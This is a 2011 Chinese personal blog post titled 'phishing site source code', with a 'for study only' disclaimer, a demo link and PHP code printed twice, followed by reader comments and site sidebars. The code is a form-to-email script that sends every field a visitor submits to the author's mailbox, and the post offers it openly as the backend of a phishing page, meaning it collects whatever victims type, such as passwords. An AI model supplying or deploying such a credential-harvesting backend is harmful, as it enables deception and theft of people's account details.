老谢博客

  • 首页
  • WordPress
  • 网络技术
  • 乱七八糟
  • 运维技术
  • 给我留言
  • 关于老谢

钓鱼站源码

分类:网站技术日期:2011-02-24 - 14:57:05作者:老谢

love.xj123.info

仅供学习使用 请勿用于其他用途

功能很简单 源码如下:

<!--?php</p-->
 
error_reporting(E_ALL ^ E_NOTICE);
 
$my_email = "i@xj123.info";
 
$from_email = "zhaoyong@live.cn";
 
$continue = "/";
 
$errors = array();
 
if(count($_COOKIE)){foreach(array_keys($_COOKIE) as $value){unset($_REQUEST[$value]);}}
 
if(isset($_REQUEST['email']) &amp;&amp; !empty($_REQUEST['email']))
{
 
$_REQUEST['email'] = trim($_REQUEST['email']);
 
if(substr_count($_REQUEST['email'],"@") != 1 || stristr($_REQUEST['email']," ") || stristr($_REQUEST['email'],"\\") || stristr($_REQUEST['email'],":")){$errors[] = "Email address is invalid";}else{$exploded_email = explode("@",$_REQUEST['email']);if(empty($exploded_email[0]) || strlen($exploded_email[0]) &gt; 64 || empty($exploded_email[1])){$errors[] = "Email address is invalid";}else{if(substr_count($exploded_email[1],".") == 0){$errors[] = "Email address is invalid";}else{$exploded_domain = explode(".",$exploded_email[1]);if(in_array("",$exploded_domain)){$errors[] = "Email address is invalid";}else{foreach($exploded_domain as $value){if(strlen($value) &gt; 63 || !preg_match('/^[a-z0-9-]+$/i',$value)){$errors[] = "Email address is invalid"; break;}}}}}}
 
}
 
if(!(isset($_SERVER['HTTP_REFERER']) &amp;&amp; !empty($_SERVER['HTTP_REFERER']) &amp;&amp; stristr($_SERVER['HTTP_REFERER'],$_SERVER['HTTP_HOST']))){$errors[] = "You must enable referrer logging to use the form";}
 
// Check for a blank form.
 
function recursive_array_check_blank($element_value)
{
 
global $set;
 
if(!is_array($element_value)){if(!empty($element_value)){$set = 1;}}
else
{
 
foreach($element_value as $value){if($set){break;} recursive_array_check_blank($value);}
 
}
 
}
 
recursive_array_check_blank($_REQUEST);
 
if(!$set){$errors[] = "You cannot send a blank form";}
 
unset($set);
 
// Display any errors and exit if errors exist.
 
if(count($errors)){foreach($errors as $value){print "$value";} exit;}
 
if(!defined("PHP_EOL")){define("PHP_EOL", strtoupper(substr(PHP_OS,0,3) == "WIN") ? "\r\n" : "\n");}
 
// Build message.
 
function build_message($request_input){if(!isset($message_output)){$message_output ="";}if(!is_array($request_input)){$message_output = $request_input;}else{foreach($request_input as $key =&gt; $value){if(!empty($value)){if(!is_numeric($key)){$message_output .= str_replace("_"," ",ucfirst($key)).": ".build_message($value).PHP_EOL.PHP_EOL;}else{$message_output .= build_message($value).", ";}}}}return rtrim($message_output,", ");}
 
$message = build_message($_REQUEST);
 
$message = $message . PHP_EOL.PHP_EOL."--".PHP_EOL."this mail from www.jcboy.info";
 
$message = stripslashes($message);
 
$subject = "FormToEmail Comments";
 
$subject = stripslashes($subject);
 
if($from_email)
{
 
$headers = "From: " . $from_email;
$headers .= PHP_EOL;
$headers .= "Reply-To: " . $_REQUEST['email'];
 
}
else
{
 
$from_name = "";
 
if(isset($_REQUEST['name']) &amp;&amp; !empty($_REQUEST['name'])){$from_name = stripslashes($_REQUEST['name']);}
 
$headers = "From: {$from_name} &lt;{$_REQUEST['email']}&gt;";
 
}
 
mail($my_email,$subject,$message,$headers);
 
?&gt;
 
 
 
 
 
 
 
 
 
 

<!--?php</p--> error_reporting(E_ALL ^ E_NOTICE); $my_email = "i@xj123.info"; $from_email = "zhaoyong@live.cn"; $continue = "/"; $errors = array(); if(count($_COOKIE)){foreach(array_keys($_COOKIE) as $value){unset($_REQUEST[$value]);}} if(isset($_REQUEST['email']) &amp;&amp; !empty($_REQUEST['email'])) { $_REQUEST['email'] = trim($_REQUEST['email']); if(substr_count($_REQUEST['email'],"@") != 1 || stristr($_REQUEST['email']," ") || stristr($_REQUEST['email'],"\\") || stristr($_REQUEST['email'],":")){$errors[] = "Email address is invalid";}else{$exploded_email = explode("@",$_REQUEST['email']);if(empty($exploded_email[0]) || strlen($exploded_email[0]) &gt; 64 || empty($exploded_email[1])){$errors[] = "Email address is invalid";}else{if(substr_count($exploded_email[1],".") == 0){$errors[] = "Email address is invalid";}else{$exploded_domain = explode(".",$exploded_email[1]);if(in_array("",$exploded_domain)){$errors[] = "Email address is invalid";}else{foreach($exploded_domain as $value){if(strlen($value) &gt; 63 || !preg_match('/^[a-z0-9-]+$/i',$value)){$errors[] = "Email address is invalid"; break;}}}}}} } if(!(isset($_SERVER['HTTP_REFERER']) &amp;&amp; !empty($_SERVER['HTTP_REFERER']) &amp;&amp; stristr($_SERVER['HTTP_REFERER'],$_SERVER['HTTP_HOST']))){$errors[] = "You must enable referrer logging to use the form";} // Check for a blank form. function recursive_array_check_blank($element_value) { global $set; if(!is_array($element_value)){if(!empty($element_value)){$set = 1;}} else { foreach($element_value as $value){if($set){break;} recursive_array_check_blank($value);} } } recursive_array_check_blank($_REQUEST); if(!$set){$errors[] = "You cannot send a blank form";} unset($set); // Display any errors and exit if errors exist. if(count($errors)){foreach($errors as $value){print "$value";} exit;} if(!defined("PHP_EOL")){define("PHP_EOL", strtoupper(substr(PHP_OS,0,3) == "WIN") ? "\r\n" : "\n");} // Build message. function build_message($request_input){if(!isset($message_output)){$message_output ="";}if(!is_array($request_input)){$message_output = $request_input;}else{foreach($request_input as $key =&gt; $value){if(!empty($value)){if(!is_numeric($key)){$message_output .= str_replace("_"," ",ucfirst($key)).": ".build_message($value).PHP_EOL.PHP_EOL;}else{$message_output .= build_message($value).", ";}}}}return rtrim($message_output,", ");} $message = build_message($_REQUEST); $message = $message . PHP_EOL.PHP_EOL."--".PHP_EOL."this mail from www.jcboy.info"; $message = stripslashes($message); $subject = "FormToEmail Comments"; $subject = stripslashes($subject); if($from_email) { $headers = "From: " . $from_email; $headers .= PHP_EOL; $headers .= "Reply-To: " . $_REQUEST['email']; } else { $from_name = ""; if(isset($_REQUEST['name']) &amp;&amp; !empty($_REQUEST['name'])){$from_name = stripslashes($_REQUEST['name']);} $headers = "From: {$from_name} &lt;{$_REQUEST['email']}&gt;"; } mail($my_email,$subject,$message,$headers); ?&gt;          

原文地址 : https://www.xj123.info/1247.html

本站遵循 : 署名-非商业性使用-相同方式共享 2.5 中国大陆 (CC BY-NC-SA 2.5)

版权声明 : 原创文章转载时,请务必以超链接形式标明文章原始出处

  • 上一篇:hello asp
  • 下一篇:《我不想逃》
3条评论
  1. 洋葱美妞 说:

    喜欢你的模板,很清新的风格,收藏了。

    POST:2011-02-25 00:27 回复
  2. Aruo 说:

    额,这个是做什么的…

    POST:2011-02-26 19:40 回复
  3. O湛狼O 说:

    噢,这个真不错

    POST:2011-03-05 20:21 回复
发表评论 点击取消评论.

*必填

*必填

  • 文章归档
  • 子网计算
  • 我的共享
  • 锻炼计划
  • 给我留言
  • 关于老谢
2023年 4月
一 二 三 四 五 六 日
 12
3456789
10111213141516
17181920212223
24252627282930
« 10月    

最新文章

  • 2021好久没更新博客
  • Zabbix监控oxidized备份状态
  • Zabbix 5.0 LTS版本MySQL表分区及编译安装随记
  • centos7.9部署oxidized自动备份交换机配置
  • Surface Pro 4更换屏幕与电池
  • VCSA中删除horizon view链接克隆生成的replica-受保护副本
  • Esxi6.7U3安装SanDisk Fusion-io 1.3T ioscale Pci SSD加速卡驱动
  • 搭建ELK日志系统分析处理fortigate的syslog日志
  • 华为USG防火墙配置NAT映射回流解决内网通过公网映射访问内部服务器
  • 飞塔防火墙fortitoken配置

最新评论

  • 无敌风火轮:和索尼没啥关系,这是索尼电脑的...
  • zhudong:老大,有VMware Horizon 7.12相关资...
  • qx:所有连接失效了,求一份
  • RainH:大佬,这个111.111.111.111是什么鬼?...
  • 王叨叨:幸福的人都是相似的,不幸的人各有各...
  • 李海博客:李海博客前来学习!
  • 明月登楼:最近使用了ZeroSSL证书,感觉还不...
  • 鸟叔:尽管不知道干啥的,还是来顶一下
  • 鸟叔:鸟叔来贵博客参观学习,通过十年之约穿...
  • 周良粥凉:往前看。

日志存档

  • 2021年10月
  • 2021年4月
  • 2021年3月
  • 2021年2月
  • 2020年11月
  • 2020年9月
  • 2020年5月
  • 2020年4月
  • 2020年3月
  • 2020年1月
  • 2019年12月
  • 2019年10月
  • 2019年7月
  • 2019年6月
  • 2019年5月
  • 2019年3月
  • 2019年1月
  • 2018年12月
  • 2018年11月
  • 2018年10月
  • 2018年7月
  • 2018年6月
  • 2018年5月
  • 2018年4月
  • 2018年3月
  • 2018年1月
  • 2017年10月
  • 2017年9月
  • 2017年8月
  • 2017年7月
  • 2017年2月
  • 2017年1月
  • 2016年12月
  • 2016年11月
  • 2016年10月
  • 2016年7月
  • 2016年6月
  • 2016年4月
  • 2016年2月
  • 2016年1月
  • 2015年12月
  • 2015年10月
  • 2015年9月
  • 2015年7月
  • 2015年5月
  • 2015年4月
  • 2015年3月
  • 2015年2月
  • 2015年1月
  • 2014年12月
  • 2014年10月
  • 2014年9月
  • 2014年8月
  • 2014年7月
  • 2014年6月
  • 2014年5月
  • 2014年4月
  • 2014年3月
  • 2014年2月
  • 2014年1月
  • 2013年12月
  • 2013年11月
  • 2013年10月
  • 2013年9月
  • 2013年8月
  • 2013年7月
  • 2013年6月
  • 2013年5月
  • 2013年4月
  • 2013年3月
  • 2013年2月
  • 2013年1月
  • 2012年12月
  • 2012年11月
  • 2012年9月
  • 2012年8月
  • 2012年7月
  • 2012年6月
  • 2012年5月
  • 2012年4月
  • 2012年3月
  • 2012年2月
  • 2012年1月
  • 2011年12月
  • 2011年11月
  • 2011年10月
  • 2011年9月
  • 2011年8月
  • 2011年7月
  • 2011年6月
  • 2011年5月
  • 2011年4月
  • 2011年3月
  • 2011年2月
  • 2011年1月
  • 2010年12月
  • 2010年11月
  • 2010年10月
  • 2010年9月
  • 2010年8月
  • 2010年7月

W3C

  • XHTML 1.0 Transitional
  • CSS level 3
  • Google+
Copyright © 2010-2023 老谢博客 All rights reserved.
Gzipped 76.5% | Optimized loading 59 queries in 0.251 seconds | Memory 33.52 MB | 皖ICP备13010663号-1
Powered by WordPress. | Hosted By 腾讯云 | Theme by WordPress主题巴士 | 站点地图 | SiteMap | Uptime | 技术支持:苏州天剑计算机系统有限公司